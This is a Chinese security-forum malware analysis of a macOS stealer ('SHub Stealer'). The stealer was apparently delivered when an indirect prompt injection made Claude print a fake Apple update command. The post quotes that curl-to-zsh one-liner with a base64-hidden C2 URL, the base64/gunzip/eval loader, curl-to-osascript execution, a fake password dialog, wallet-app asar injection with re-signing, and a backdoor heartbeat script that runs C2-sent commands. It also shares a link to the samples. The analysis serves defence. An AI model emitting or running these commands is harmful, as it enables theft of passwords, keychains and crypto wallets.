首页
社区
课程
招聘
[原创]Claude 间接提示词注入恶意样本分析
发表于: 3天前 862

[原创]Claude 间接提示词注入恶意样本分析

3天前
862

2026 年 5 月 6 日,X 上的安全研究员 Tuan Anh Nguyen 分享了一个 Claude 对话链接:

7a5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0L8r3q4#2k6r3g2Q4x3X3g2S2K9g2)9J5c8Y4y4Z5j5i4u0W2i4K6u0r3y4o6V1^5z5o6p5^5k6o6W2Q4x3X3b7I4k6r3c8U0i4K6u0V1y4r3k6T1j5W2)9J5k6o6W2X3j5e0N6Q4x3X3b7#2y4X3c8X3j5U0R3@1z5o6b7H3j5U0l9`.

这个对话里,攻击者利用间接提示词注入,在 Claude 的输出中嵌入伪装成 Apple 安全更新的恶意命令,诱导用户复制到终端执行。链接是博主朋友提供的,似乎是员工受到攻击的真实案例,目前恶意载荷已从服务器清除。

手法与 macOS ClickFix 窃密活动十分相似,虽然最开始是通过提示词注入实现的,执行链仍是“诱导用户复制 Terminal 命令 → curl 拉脚本 → zsh/osascript 执行 → 落地窃密器”的 ClickFix 模式。该样本会窃取 iCloud、Keychain、浏览器和钱包数据,并木马化钱包应用,长期驻留 macOS 系统。


一、拿到样本

访问分享链接

很可惜的是看不到claude到底访问了哪些网页,不知道这次间接提示词注入是如何发生成的,只能看看样本

从推文里的对话分享链接中提取到的恶意命令:

echo "Downloading Update: 35dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6N6i4m8H3L8%4u0@1i4K6u0W2j5i4m8H3L8r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6V1L8%4N6F1L8r3!0S2k6s2y4Q4x3V1k6E0j5h3y4G2M7#2)9J5k6s2y4W2j5%4g2J5K9i4c8&6i4K6u0V1N6i4m8V1j5i4c8W2i4K6u0V1x3e0c8Q4x3X3f1#2i4K6u0W2k6r3#2Y4" && curl -s $(echo "aHR0cHM6Ly9iYWJ1bGlraW5ldC5jb20vZGVidWcvbG9hZGVyLnNoP2J1aWxkPWU3NDM5OTA1MDYxNDhjYmJjYzI2NzUwNDhlNWI2Zjc4" | base64 -d) | zsh

攻击者的巧思/doge,这个命令里把base64编码后的代码放在后面,在claude的网页端只能看到前面正常的下载 apple 官网文件的链接,诱导用户直接复制到终端执行

Base64 解码出来是:

a7fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3L8r3!0S2k6r3g2J5i4K6u0W2M7$3S2Q4x3@1k6T1N6h3W2D9k6q4)9K6c8r3f1%4y4o6x3&6z5e0l9#2x3o6j5I4y4o6S2U0j5X3u0U0j5K6t1$3y4K6f1H3y4o6S2W2y4h3t1$3k6U0M7^5

二、第一阶段:loader.sh

通过代理从 C2 把 loader.sh 拉了下来。文件很小,1349 字节,长这样:

#!/bin/zsh
dbf9f2f=$(base64 -D <<'PAYLOAD_9d91ed76' | gunzip
<一大段 Base64>
PAYLOAD_9d91ed76
)
eval "$dbf9f2f"

双层编码 dropper。 结构极其简洁——6 行代码,核心只有一步:base64 -D | gunzip | eval。Base64 解码 → Gzip 解压 → eval 执行。

heredoc 分隔符 PAYLOAD_9d91ed76 带一个 8 位 hex 后缀,应该是自动化混淆工具搞出来的。

哈希值

组件 SHA256
loader.sh (完整) efe6b07d573c788d1bae0a296fd1482fbbdc78ee8fefa04c287439349a60b68d
Gzip 压缩载荷 6323f50132a833c61041becbf8cd109876aae83237f5641e8be09c662beb251e
解码后 Zsh 载荷 d40b05a349ed006a835e880707a406d000db1c6c79da3c3f77e06422f3ce4065

Gzip 头里 MTIME 是 2026-05-06 14:41:22 UTC。还有个有意思的细节——OS 字段是 255。正常的 gzip 会自动填当前系统编号,作者专门修改了一下来隐藏自己的开发平台。


三、解码第一层载荷

把 Base64 解码、Gzip 解压后,得到一个 1918 字节的 Zsh 脚本。

3.1 上来先检测你是不是说俄语的

IS_CIS="false"
if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist \
   AppleEnabledInputSources 2>/dev/null | grep -qi russian; then
    IS_CIS="true"
fi

它读 macOS 的键盘偏好设置,如果发现有俄语键盘布局,标记 IS_CIS=true,然后发送一条 "cis_blocked" 遥测就直接退出了,猜测攻击者可能是俄语地区的(

3.2 系统信息收集

LOCALE_INFO=$(defaults read ... | grep -i "KeyboardLayout Name" | head -5 ...)
HOSTNAME=$(hostname)
OS_VER=$(sw_vers -productVersion)    # macOS 版本
EXT_IP=$(curl -s 739K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2M7r3W2Q4x3X3g2A6M7r3W2X3P5g2)9J5k6h3!0J5k6H3`.`. || curl -s 0fbK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6A6j5$3q4F1K9r3q4*7K9i4m8Q4x3X3g2U0L8$3@1`. || curl -s e4dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6A6k6X3y4G2L8X3k6A6k6#2)9J5k6h3#2W2i4K6t1&6

收集了键盘布局、主机名、macOS 版本、公网 IP

3.3 用 printf 构建 JSON 上报

send_debug_event() {
    local JSON=$(printf '{"event":"%s","build_hash":"%s",...}' "$EVT" "e743990506148cbbcc2675048e5b6f78" ...)
    curl -s -X POST "dd1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3q4H3K9g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3k6i4k6W2L8Y4b7`." -H "Content-Type: application/json" -d "$JSON"
}

build_hashe743990506148cbbcc2675048e5b6f78,32 字符 hex,MD5 长度,这应该是标识这次攻击活动/版本的 ID,后面还会反复出现。

3.4 守护进程化 + 下载第二阶段

daemon_function() {
    exec &lt;/dev/null       # 关闭 stdin
    exec &gt;/dev/null       # 关闭 stdout
    exec 2>/dev/null      # 关闭 stderr —— 完全脱离终端
    curl -k -s --max-time 30 \
      -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) ... Chrome/91..." \
      "369K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3M7r3q4&6L8r3!0S2k6q4)9J5k6h3q4H3M7r3I4W2M7$3y4J5K9i4m8@1i4K6y4r3j5Y4g2A6L8r3c8Q4x3@1c8W2y4K6b7K6z5e0V1H3y4e0l9$3x3e0b7^5j5$3u0T1j5$3x3J5y4U0M7#2x3o6b7^5k6e0g2T1y4X3j5%4z5l9`.`." \
      | osascript          # 直接管道给 osascript 执行,不落盘
}
daemon_function "$@" &
exit 0                   # 父进程立即退出

几个关键点:

  • exec &lt;/dev/null; exec &gt;/dev/null; exec 2>/dev/null:三个标准流全关,进程彻底脱离终端。即使你关掉 Terminal 窗口,恶意进程继续跑。
  • curl | osascript:下载的 AppleScript 直接通过管道执行,不写磁盘

四、网络基础设施初探

C2 是 babulikinet.com

DNS 解析结果:

  • A 记录:172.67.216.222104.21.93.240两个都是 Cloudflare Anycast IP
  • NS:rodrigo.ns.cloudflare.comsima.ns.cloudflare.com
  • 没有 MX、TXT 记录——这个域名只用来做 C2,不干别的

这个域名仅注册了一天(2026 年 5 月 5 日)。

微步在线搜索截图


五、第二阶段:AppleScript 载荷 — SHub Stealer

AppleScript 载荷 payload.applescript,约 35KB、1086 行。内部自标识为 "SHub Stealer (DEBUG)",Build Tag 为 "eskalogs2"。

5.1 常规反取证

try
    do shell script "killall Terminal"
end try

常规且直接的反取证操作,没什么可说的

5.2 系统密码钓鱼

这个攻击手法与 ClickFix 攻击活动的特征基本一致:弹窗钓鱼、伪装系统更新提示、要求密码验证、循环重试

set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns"
display dialog "You should update the settings to launch the application."
    default answer "" with icon imagePath
    buttons {"Continue"} default button "Continue"
    giving up after 150
    with title "System Preferences"
    with hidden answer           # 密码输入以黑点显示

用的是 macOS 原生的 display dialog API,标题叫 "System Preferences",图标是系统的锁定图标 LockedIcon.icns。弹窗提示说"你需要更新设置才能启动应用",让用户输入密码。

它会重试最多 10 次,每次给 150 秒超时,而且不管密码对不对,所有尝试过的密码都保存到本地文件,即使最后没骗到正确密码,也能收集受害者常用的密码组合。

密码验证用的是 dscl . authonly,验证成功后直接尝试提取 Chrome 钥匙串里的主密码:

do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""

5.3 浏览器数据窃取

支持 14 款 Chromium 内核浏览器 + Firefox: Chrome、Brave、Edge、Opera、OperaGX、Vivaldi、Orion、Sidekick、Chrome Canary、Chromium、Chrome Dev、Arc、Cốc Cốc、Chrome Beta + Firefox。

窃取的目标文件包括:Cookies、保存的网站密码、表单填充数据、加密钱包扩展的本地存储、扩展的本地数据库

对于 Firefox(Gecko 内核),窃取:

  • cookies.sqlitelogins.jsonkey4.db(密码数据库)、cert9.db

浏览器模块还专门跑了两趟——第一趟 Chromium() 收集浏览器本身的数据,第二趟 ChromiumWallets() 专门针对加密钱包扩展,这说明攻击者很清楚什么数据值钱/doge。

5.4 加密钱包扩展扫描

ChromiumWallets() 硬编码了 约 90 个 Chromium 扩展 ID,逐个去 Local Extension Settings/ 下面匹配。部分列表如下:

扩展名 Extension ID
MetaMask nkbihfbeogaeaoehlefnkodbefgpgknn
Phantom (Solana) bfnaelmomeimhlpmgjnjophhpkkoljpa
Trust Wallet egjidjbpglichdcondbcbdnbeeppgdph
Coinbase Wallet hnfanknocfeofbddgcijnmhnfnkdnaad
Rabby acmacodkjbdgmoleebolmdjonilkdbch
Keplr (Cosmos) dmkamcknogkgcdfhhbddcghachkejeap
TronLink ibnejdfjmmkpcnlpebklmnkoeoihofec

每个扩展还有一个 3 元组配置 {extension_id, flag1, flag2, flag3},第三个值如果是 1 表示去 IndexedDB/ 下找(而不是 Local Extension Settings/)。这说明作者对每个钱包扩展的数据存储结构都做过逆向。剩下的 80 多个扩展 ID 我还没逐一比对,但覆盖范围显然涵盖了主流钱包生态。

5.5 桌面加密货币钱包窃取

DesktopWallets() 模块硬编码了 25+ 款桌面钱包的默认路径

钱包 路径
Exodus ~/Library/Application Support/Exodus/
Electrum ~/.electrum/wallets/
Atomic ~/Library/Application Support/atomic/Local Storage/leveldb/
Guarda ~/Library/Application Support/Guarda/
Coinomi ~/Library/Application Support/Coinomi/wallets/
Sparrow ~/.sparrow/wallets/
Wasabi ~/.walletwasabi/client/Wallets/
Bitcoin Core ~/Library/Application Support/Bitcoin/wallets/
Monero ~/.bitmonero/wallets/
Litecoin Core ~/Library/Application Support/Litecoin/wallets/
Dash Core ~/Library/Application Support/DashCore/wallets/
Dogecoin Core ~/Library/Application Support/Dogecoin/wallets/
Ledger Live ~/Library/Application Support/Ledger Live/
Trezor Suite ~/Library/Application Support/@trezor
Daedalus (Cardano) ~/Library/Application Support/Daedalus Mainnet/wallets/

GrabFolderLimit() 方法设置了 100MB 的单个钱包窃取上限(硬编码 100 * 1024 * 1024),应该是怕钱包数据太大影响回传效率。排除列表里有 .DS_StoreCode CacheCachejournalsPreviews——这是一种过滤策略,只拿有实际价值的数据,不搬运缓存和预览垃圾

5.6 Telegram 会话劫持

set tgPath to library & "Telegram Desktop/tdata/"

专门针对 Telegram Desktop 的 tdata/ 目录,只拿了两个就能完整劫持 Telegram 会话的关键文件

5.7 Keychain 和 iCloud 窃取

set keychainPath to (POSIX path of (path to home folder)) & "Library/Keychains/"

直接把整个 ~/Library/Keychains/ 目录拷走。 macOS 的钥匙串里存着所有的 Wi-Fi 密码、应用密码、Safari 保存的密码、邮件账户密码……

set cloudPath to (POSIX path of (path to home folder)) & "Library/Application Support/iCloud/Accounts/"

iCloud 账户数据也打包带走。

5.8 文件窃取器 — Filegrabber

这个有点乱,让大模型总结了一下:

  • 目标目录:桌面和文档
  • 文档扩展名:docxdocwalletkeykeystxtrtfcsvxlsxlsxjsonrdp
  • 图片扩展名:png(猜测:可能是桌面截图、助记词截图)
  • 文档限制单文件 2MB,图片限制单文件 6MB
  • 总大小限制 150MB——超过就停
  • 文档深度 3 层,图片深度 2 层
  • 文档每个扩展名最多 30 个文件,图片最多 20 个

还额外收集:

  • Safari: Cookies.binarycookies、表单填充、历史
  • Apple Notes: NoteStore.sqlite
  • Chrome 历史: History、History-journal
  • Shell 历史: .zshrc.zsh_history.bash_history.gitconfig

5.9 钱包应用代码注入(Wallet Injection)

木马从 C2 下载恶意 .asar 文件(Electron 应用的打包格式),注入到已安装的钱包应用中。目标应用有 5 个:

钱包 C2 asar 端点
Exodus /gate/exodus-asar
Atomic Wallet /gate/atomic-asar
Ledger Wallet /gate/ledger-asar
Ledger Live /gate/ledgerlive-asar
Trezor Suite /gate/trezor-asar

以 Exodus 为例,注入流程为:

  1. pkill -9 Exodus —— 先杀进程
  2. cp -rf /Applications/Exodus.app /tmp/Exodus_tmp.app —— 复制应用到临时目录
  3. rm -rf /Applications/Exodus.app —— 删除原应用(绕过 macOS 的 TCC 保护)
  4. mv /tmp/Exodus_tmp.app /Applications/Exodus.app —— 移回来
  5. mv /tmp/app.asar /Applications/Exodus.app/Contents/Resources/app.asar —— 替换核心代码
  6. xattr -cr /Applications/Exodus.app —— 移除隔离属性(com.apple.quarantine
  7. codesign -f -d -s - /Applications/Exodus.app —— ad-hoc 重签名

步骤 2-4 的"移出再移回"操作很可能是为了绕过 macOS 的 TCC (Transparency, Consent, and Control) 保护——应用目录受 SIP 保护时直接替换文件会被拒绝,但删除后重新创建是可以的。xattr -cr 清除隔离标志,codesign 做 ad-hoc 自签名来绕过 Gatekeeper。

有意思的是,Ledger Wallet 和 Ledger Live 的注入还额外替换了 Info.plist。这两个是硬件钱包的配套应用——Info.plist 被替换后可能授予了额外的权限(比如访问摄像头/麦克风/辅助功能),用于后续更隐蔽的监控。

5.10 持久化 —— 伪装 Google Keystone

木马把持久化脚本藏在 ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate,然后用一个 LaunchAgent plist com.google.keystone.agent.plist 每 60 秒启动一次。

持久化脚本解码后是这样的,:

#!/bin/bash
GATE_URL="89fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8b7`.`."
BOT_ID=$(ioreg -d2 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}')
BUILD_ID="d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f"
HOSTNAME=$(hostname)
IP=$(curl -s e83K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2M7r3W2Q4x3X3g2A6M7r3W2X3P5g2)9J5k6h3!0J5k6H3`.`. 2>/dev/null || echo unknown)
OS_VER=$(sw_vers -productVersion)

# 心跳请求
RESP=$(curl -s -X POST "$GATE_URL/api/bot/heartbeat" \
  -H "Content-Type: application/json" \
  -d '{"bot_id":"'"$BOT_ID"'","build_id":"'"$BUILD_ID"'",...}')

# 提取 C2 下发的命令
CODE=$(echo "$RESP" | sed -n 's/.*"code":"\([^"]*\)".*/\1/p')

# 如果有命令,base64 解码后写入 /tmp/.c.sh 并执行
if [ -n "$CODE" ]; then
  echo "$CODE" | base64 -d > /tmp/.c.sh && chmod +x /tmp/.c.sh && /tmp/.c.sh
  rm -f /tmp/.c.sh
fi

其中,用硬件 UUID(IOPlatformUUID)作为 bot 标识——这个标识即使重装系统也不会变,并且C2 可以在响应里携带任意 Base64 编码的 Shell 命令,落地到 /tmp/.c.sh 执行

5.11 数据回传

木马把窃取的所有数据先存到 /tmp/shub_&lt;random&gt;/,然后用 ditto 打包成 ZIP 上传到 C2:

文件 < 85MB 的直接 POST 到 /gate,文件 ≥ 85MB 则启动分片模式,按优先级排序:Wallets → KeyChains → Browsers → Telegram → Safari → Notes → Profile,每个分片 ≤ 70MB,独立打包成 ZIP再上传。所有操作完成后自动清理

5.12 最后的障眼法

display dialog "Your Mac does not support this application.
  Try reinstalling or downloading the version for your system."
  with title "System Preferences" with icon stop buttons {"OK"}

偷完所有数据后,弹一个假错误对话框,让受害者以为只是应用程序不兼容——从而不会怀疑自己中了木马。

整个过程中,木马还向 C2 发送了详细的遥测事件,形成了一个完整的事件流水:

payload_started → password_obtained/failed → collecting_browsers → collecting_wallets → data_collected → zip_sent

每个事件都带上 build_hash 和 IP,攻击者可以在后台实时看到每台受害机的进度。


六、完整 C2 端点汇总

经过两阶段全部代码分析,完整的 C2 路由表如下:

端点 方法 用途
/debug/loader.sh?build=&lt;hash&gt; GET 第一阶段 loader.sh 分发
/api/debug/event POST 全部遥测事件(两阶段共用)
/debug/payload.applescript?build=&lt;hash&gt; GET 第二阶段 AppleScript 载荷分发
/gate POST 窃取数据 ZIP 上传
/gate/chunk POST 分片上传
/gate/exodus-asar GET Exodus 钱包注入载荷
/gate/atomic-asar GET Atomic Wallet 注入载荷
/gate/ledger-asar GET Ledger Wallet 注入载荷
/gate/ledgerlive-asar GET Ledger Live 注入载荷
/gate/trezor-asar GET Trezor Suite 注入载荷
/api/bot/heartbeat POST 持久化心跳 / 远程命令

七、威胁评估

这个样本可归类 ClickFix 攻击活动,想了解更多的可以参考微软安全团队的推文:

123K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2E0K9h3y4J5L8%4y4G2k6Y4c8Q4x3X3g2U0L8$3#2Q4x3V1k6W2L8W2)9J5k6s2g2K6i4K6u0r3M7$3g2U0N6i4u0A6N6s2W2Q4x3V1k6T1L8r3!0Y4i4K6u0r3x3U0l9J5y4W2)9J5c8U0l9#2i4K6u0r3x3o6k6Q4x3V1k6U0L8r3W2U0K9$3k6A6P5q4)9J5k6r3y4S2L8i4m8S2K9h3N6F1i4K6u0V1N6i4y4W2M7#2)9J5k6r3k6S2K9$3g2Q4x3X3c8E0j5h3y4G2M7#2)9J5k6s2g2@1K9h3I4A6N6r3W2W2M7#2)9J5k6r3I4#2M7X3g2K6i4K6u0V1k6r3g2D9K9i4k6W2M7W2)9J5k6r3W2F1k6X3!0K6N6r3g2S2L8r3g2J5M7#2)9J5c8R3`.`.

大模型给的总结:

  • 双层编码 + 无文件执行逃避静态和磁盘检测
  • CIS 地理围栏——俄语系威胁组织的标准 TTP
  • 系统原生 API 钓鱼——display dialog + LockedIcon.icns,难以被反钓鱼软件识别
  • 90+ 钱包扩展 ID 硬编码——对加密钱包生态有系统性的逆向研究
  • Electron 应用 asar 注入 + 重签名——供应链级别的攻击手法
  • 智能分片回传——内置 Bash 分片脚本,按优先级排序
  • 伪装 Google Keystone 持久化——利用合法路径和进程名,隐蔽性极高
  • 心跳 + 远程命令——持久化后变成完整的后门平台
  • 全链遥测——每个阶段都上报事件,攻击者可以监控"转化漏斗"

八、完整 IOC 汇总

总结自大模型:

文件 IOC

IOC 类型 组件
SHA256 efe6b07d573c788d1bae0a296fd1482fbbdc78ee8fefa04c287439349a60b68d loader.sh
SHA256 6323f50132a833c61041becbf8cd109876aae83237f5641e8be09c662beb251e Gzip 载荷
SHA256 d40b05a349ed006a835e880707a406d000db1c6c79da3c3f77e06422f3ce4065 解码后 Zsh
MD5 d8788f0aabdb3f5b1e705783a7e14261 loader.sh

网络 IOC

IOC 类型
域名 babulikinet.com
IP(Cloudflare CDN) 172.67.216.222
IP(Cloudflare CDN) 104.21.93.240
遥测 URL 74aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3q4H3K9g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3k6i4k6W2L8Y4b7`.
第一阶段 URL 0e8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3L8r3!0S2k6r3g2J5i4K6u0W2M7$3S2Q4x3@1k6T1N6h3W2D9k6q4)9K6c8r3f1%4y4o6x3&6z5e0l9#2x3o6j5I4y4o6S2U0j5X3u0U0j5K6t1$3y4K6f1H3y4o6S2W2y4h3t1$3k6U0M7^5
第二阶段 URL 756K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3M7r3q4&6L8r3!0S2k6q4)9J5k6h3q4H3M7r3I4W2M7$3y4J5K9i4m8@1i4K6y4r3j5Y4g2A6L8r3c8Q4x3@1c8W2y4K6b7K6z5e0V1H3y4e0l9$3x3e0b7^5j5$3u0T1j5$3x3J5y4U0M7#2x3o6b7^5k6e0g2T1y4X3j5%4z5l9`.`.
数据回传 5d5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3N6S2N6r3f1`.
分片上传 51bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3N6S2N6r3g2Q4x3V1k6U0K9s2g2F1K9H3`.`.
持久化 C2 160K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3q4H3K9g2)9J5c8X3u0G2N6q4)9J5c8X3S2W2j5i4u0@1j5X3g2S2N6l9`.`.

活动标识

标识符
Build Hash e743990506148cbbcc2675048e5b6f78
Build ID (txd) d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f
Build Name eskalogs2
Gate API Key 61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f
自标识 SHub Stealer (DEBUG)

九、恶意样本源文件

所有原始恶意样本已打包为 malware_samples_0506.zip(密码 0506)。文件结构如下:

malware_samples_0506.zip
├── original_samples/
│   ├── loader.sh                    # 第一阶段 Zsh dropper (1.3 KB)
│   ├── stage2_payload.applescript   # 第二阶段 AppleScript 载荷 (58 KB)
│   ├── exodus-asar                  # Exodus 注入包 — C2 原始 ZIP (55 MB)
│   ├── atomic-asar                  # Atomic Wallet 注入包 (28 MB)
│   ├── ledger-asar                  # Ledger Wallet 注入包 (2 MB)
│   ├── ledgerlive-asar              # Ledger Live 注入包 (2 MB)
│   ├── trezor-asar                  # Trezor Suite 注入包 (30 MB)
│   ├── exodus.asar                  # 解压后的 Exodus 恶意 asar (82 KB)
│   ├── atomic.asar                  # 解压后的 Atomic Wallet 恶意 asar (42 KB)
│   ├── ledger.asar                  # 解压后的 Ledger Wallet 恶意 asar (3 KB)
│   ├── ledgerlive.asar              # 解压后的 Ledger Live 恶意 asar (3 KB)
│   └── trezor.asar                  # 解压后的 Trezor Suite 恶意 asar (45 KB)
└── decoded_artifacts/
    ├── payload_base64.txt           # loader.sh 中提取的 Base64 字符串
    ├── payload_gzip.bin             # Base64 解码后的 gzip 压缩数据
    └── payload_decoded.zsh          # gzip 解压后的内层 Zsh 脚本
  • *-asar(无后缀点)= C2 直接返回的 ZIP 包,包含完整 Electron 应用框架
  • *.asar = 从 ZIP 中解压出的核心注入代码,为 Electron asar 归档格式,可用 npx @electron/asar extract &lt;file&gt; <output_dir> 解包分析
  • decoded_artifacts/ = 分析过程中从 loader.sh 逐层解码产出的中间文件

传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 2
支持
分享
最新回复 (2)
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
通过网盘分享的文件:malware_samples_0506.zip链接: e93K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5h3&6Q4x3X3g2T1j5h3W2V1N6g2)9J5k6h3y4G2L8g2)9J5c8Y4y4Q4x3V1j5I4N6g2W2S2M7V1c8&6x3Y4A6w2i4K6u0V1N6#2R3%4N6q4N6r3K9h3c8E0k6o6y4c8i4K6t1$3L8X3u0K6M7q4)9K6b7W2!0q4y4W2)9^5c8W2)9&6x3q4!0q4y4g2)9^5c8W2)9&6y4W2!0q4y4#2!0m8x3q4)9^5x3g2)9K6b7g2)9J5y4X3&6T1M7%4m8Q4x3@1u0U0x3%4g2H3
3天前
0
雪    币: 180
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
tql
1天前
0
游客
登录 | 注册 方可回帖
返回